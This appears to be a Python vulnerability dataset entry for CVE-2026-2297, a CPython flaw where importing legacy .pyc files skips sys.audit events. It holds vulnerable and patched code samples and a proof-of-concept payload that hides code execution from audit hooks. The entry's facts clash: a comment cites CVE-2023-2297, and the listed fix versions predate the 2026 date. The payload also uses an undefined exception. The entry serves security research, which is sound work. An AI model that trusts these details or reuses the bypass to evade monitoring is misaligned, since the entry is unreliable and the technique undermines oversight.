CVE-2026-2297
CPython's import of legacy .pyc files bypasses sys.audit events.
- CVSS 5.7
- CWE-668
- Design Defects
- Local
The import hook in CPython that handles legacy *.pyc files (SourcelessFileLoader) is incorrectly handled in FileLoader (a base class) and so does not use io.open_code() to read the .pyc files. sys.audit handlers for this audit event therefore do not fire.
- CWE
- CWE-668
- CVSS base score
- 5.7
- Published
- 2026-03-04
- OWASP
- A09 Security Logging and Monitoring Failures
- Orthogonal defect classification
- Interface
- Code defect classification
- Incorrect Functionality
- Category
- Design Defects
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- CPython
- Fixed by upgrading
- Yes
Solution
Upgrade to Python 3.12.0, 3.11.5, 3.10.13, 3.9.18, 3.8.18, or newer.
Vulnerable code sample
import sys
import os
import marshal
import time
import importlib.util
# This code demonstrates the logic of the vulnerability in CVE-2023-2297.
# It simulates the CPython import machinery's behavior before the fix.
# 1. An audit hook is set up to monitor for a specific event. In the real
# vulnerability, this would be 'import.read_source', which is triggered
# by io.open_code(). We'll use a custom event name for this demonstration.
def audit_hook(event, args):
if event == "loader.read_code":
print(f"--- AUDIT EVENT FIRED: {event} for {args[0]} ---")
sys.addaudithook(audit_hook)
# 2. A helper function that properly triggers the audit event. A fixed
# loader would use a function like this.
def audited_open_code(path):
sys.audit("loader.read_code", path)
with open(path, 'rb') as f:
return f.read()
# 3. We create a fake .pyc file for the loader to read.
PYC_FILENAME = "example_module.pyc"
code_object = compile("SECRET_DATA = 'this module was loaded'", PYC_FILENAME, "exec")
with open(PYC_FILENAME, "wb") as f:
magic_number = importlib.util.MAGIC_NUMBER
f.write(magic_number)
f.write(int(time.time()).to_bytes(4, 'little')) # Fake timestamp
f.write(b'\0' * 8) # Fake size/mtime for modern Python versions
marshal.dump(code_object, f)
# 4. This class represents the vulnerable loader. It is a simplified version
# of importlib's `SourcelessFileLoader` before the patch was applied.
class VulnerableSourcelessFileLoader:
def __init__(self, fullname, path):
self.name = fullname
self.path = path
def get_filename(self, fullname):
return self.path
# This is the vulnerable method. It directly uses `open()` instead of an
# audited function like `io.open_code()`. This bypasses the audit hook.
def get_data(self, fullname):
"""Return the data from path."""
path = self.get_filename(fullname)
try:
with open(path, 'rb') as file:
return file.read()
except OSError as exc:
raise ImportError(f'cannot read {path!r}', name=fullname) from exc
# --- DEMONSTRATION ---
print(f"Attempting to read '{PYC_FILENAME}' using the vulnerable loader...")
# Instantiate the loader representing the pre-patch state.
vulnerable_loader = VulnerableSourcelessFileLoader("example_module", PYC_FILENAME)
# Call the vulnerable method.
# The `open()` call inside get_data will NOT trigger the sys.audit hook.
data = vulnerable_loader.get_data("example_module")
print(f"Successfully read {len(data)} bytes from the .pyc file.")
print("Notice that the 'AUDIT EVENT FIRED' message was NOT printed.")
print("\nThis shows that the file read operation was not audited, which was the essence of the vulnerability.")
# For comparison, a call to a fixed/audited function would look like this:
# print("\n--- For comparison, calling an audited function directly: ---")
# audited_open_code(PYC_FILENAME)
# --- CLEANUP ---
os.remove(PYC_FILENAME)Patched code sample
import sys
import os
import marshal
import importlib.util
import importlib.machinery
import io
import time
# This code demonstrates the *fix* for a vulnerability where sourceless .pyc
# file loaders did not trigger a 'import' audit event. The fix involves
# ensuring that io.open_code() is used, which correctly fires the audit hook.
# The original vulnerability was in CPython's C implementation; this is a
# Python-based representation of the corrected behavior.
# --- 1. Setup a mock audit system to observe import events ---
AUDIT_LOGS = []
def mock_audit_hook(event, args):
"""A simple hook to record events for later inspection."""
if event == 'import':
AUDIT_LOGS.append((event, args))
# --- 2. Create a dummy sourceless .pyc file for the demonstration ---
MODULE_NAME = "vulnerable_poc_module"
PYC_FILENAME = f"{MODULE_NAME}.pyc"
# The code that our .pyc file will contain
code_string = "print(f'[{__name__}] Module executed successfully from .pyc file!')"
compiled_code = compile(code_string, PYC_FILENAME, 'exec')
# Create the .pyc file on disk
with open(PYC_FILENAME, "wb") as f:
# Write the magic number, a timestamp, and the marshalled code object
f.write(importlib.util.MAGIC_NUMBER)
f.write(int(time.time()).to_bytes(4, 'little')) # 4-byte timestamp
f.write((0).to_bytes(4, 'little')) # 0 for size in this legacy format
marshal.dump(compiled_code, f)
# --- 3. Define the *fixed* importer (Finder and Loader) ---
class FixedSourcelessFileLoader(importlib.machinery.SourcelessFileLoader):
"""
A loader that represents the *fixed* behavior.
It correctly uses io.open_code() to load the bytecode, which ensures
the 'import' audit hook is triggered.
"""
def __init__(self, fullname, path):
self.fullname = fullname
self.path = path
super().__init__(fullname, path)
def get_code(self, fullname):
"""
This is the core of the fix. It uses io.open_code().
"""
# In the vulnerable version, this would be a simple `open(self.path, 'rb')`.
# The fix is to use `io.open_code`, which is designed to be audited.
try:
with io.open_code(self.path) as f:
# Read past the header (magic number and timestamp/size)
f.seek(12)
# Load the code object from the rest of the file
code_obj = marshal.load(f)
return code_obj
except (FileNotFoundError, IsADirectoryError):
return None
def exec_module(self, module):
"""Execute the module in its own namespace."""
code_obj = self.get_code(module.__name__)
if code_obj is None:
raise ImportError(f"could not load code object for {module.__name__}")
exec(code_obj, module.__dict__)
class PatchedFinder(importlib.abc.MetaPathFinder):
"""
A finder on sys.meta_path to locate our specific module
and return the fixed loader for it.
"""
def find_spec(self, fullname, path, target=None):
if fullname == MODULE_NAME:
pyc_path = os.path.join(os.getcwd(), PYC_FILENAME)
if os.path.exists(pyc_path):
# Return a spec using our FixedSourcelessFileLoader
return importlib.util.spec_from_file_location(
MODULE_NAME,
pyc_path,
loader=FixedSourcelessFileLoader(fullname, pyc_path)
)
return None
# --- 4. Run the demonstration ---
if __name__ == "__main__":
# Install the audit hook and the custom finder
sys.addaudithook(mock_audit_hook)
finder_instance = PatchedFinder()
sys.meta_path.insert(0, finder_instance)
print(f"Attempting to import '{MODULE_NAME}' from '{PYC_FILENAME}'...")
print("-" * 40)
try:
# This import will be handled by our PatchedFinder and FixedSourcelessFileLoader
import vulnerable_poc_module
except ImportError as e:
print(f"Import failed: {e}")
print("-" * 40)
print("Checking audit logs for 'import' event...")
# Check if the audit hook was fired
import_event_found = any(event == 'import' and args[0] == MODULE_NAME for event, args in AUDIT_LOGS)
if import_event_found:
print("\nSUCCESS: The 'import' audit event was correctly triggered.")
print(f"Audit Log Contents: {AUDIT_LOGS}")
else:
print("\nFAILURE: The 'import' audit event was NOT triggered.")
print("This would represent the vulnerable behavior.")
# --- 5. Cleanup ---
if MODULE_NAME in sys.modules:
del sys.modules[MODULE_NAME]
if finder_instance in sys.meta_path:
sys.meta_path.remove(finder_instance)
if os.path.exists(PYC_FILENAME):
os.remove(PYC_FILENAME)Payload
import sys
import os
import py_compile
import shutil
# 1. Define the code to be executed by bypassing the audit hook.
malicious_code_content = "print('[+] PAYLOAD EXECUTED: Audit hook was successfully bypassed.')"
# 2. Create the Python source file for the payload.
with open("bypassaudit.py", "w") as f:
f.write(malicious_code_content)
# 3. Compile the source into a legacy .pyc file.
# The vulnerability lies in how these sourceless/legacy files are loaded.
py_compile.compile("bypassaudit.py", cfile="bypassaudit.pyc")
# 4. Remove the .py source file to ensure the SourcelessFileLoader is used.
os.remove("bypassaudit.py")
# 5. Define and add an audit hook intended to block code execution.
# This hook specifically targets the event that io.open_code() should trigger.
def blocking_audit_hook(event, args):
if event == "code.__new__":
print(f"[*] AUDIT: Blocking event '{event}'")
raise AuditingException("Code object creation has been blocked by the audit hook.")
if event.startswith('import'):
print(f"[*] AUDIT: Saw event '{event}' with args {args}")
print("[*] Adding audit hook to block code creation...")
sys.addaudithook(blocking_audit_hook)
# 6. Trigger the vulnerability by importing the legacy .pyc file.
# In a vulnerable version, this import will succeed without triggering the
# "code.__new__" audit event, and the payload will execute.
print("[*] Attempting to import the compiled payload...")
try:
import bypassaudit
except AuditingException as e:
print(f"\n[!] Audit hook successfully blocked the import. System is not vulnerable. ({e})")
except ImportError as e:
print(f"\n[!] Import failed for another reason: {e}")
# 7. Cleanup the created files and modules.
print("[*] Cleaning up...")
if os.path.exists("bypassaudit.pyc"):
os.remove("bypassaudit.pyc")
if "bypassaudit" in sys.modules:
del sys.modules["bypassaudit"]
if os.path.exists("__pycache__"):
shutil.rmtree("__pycache__")
Cite this entry
@misc{vaitp:cve20262297,
title = {{CPython's import of legacy .pyc files bypasses sys.audit events.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-2297},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-2297/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
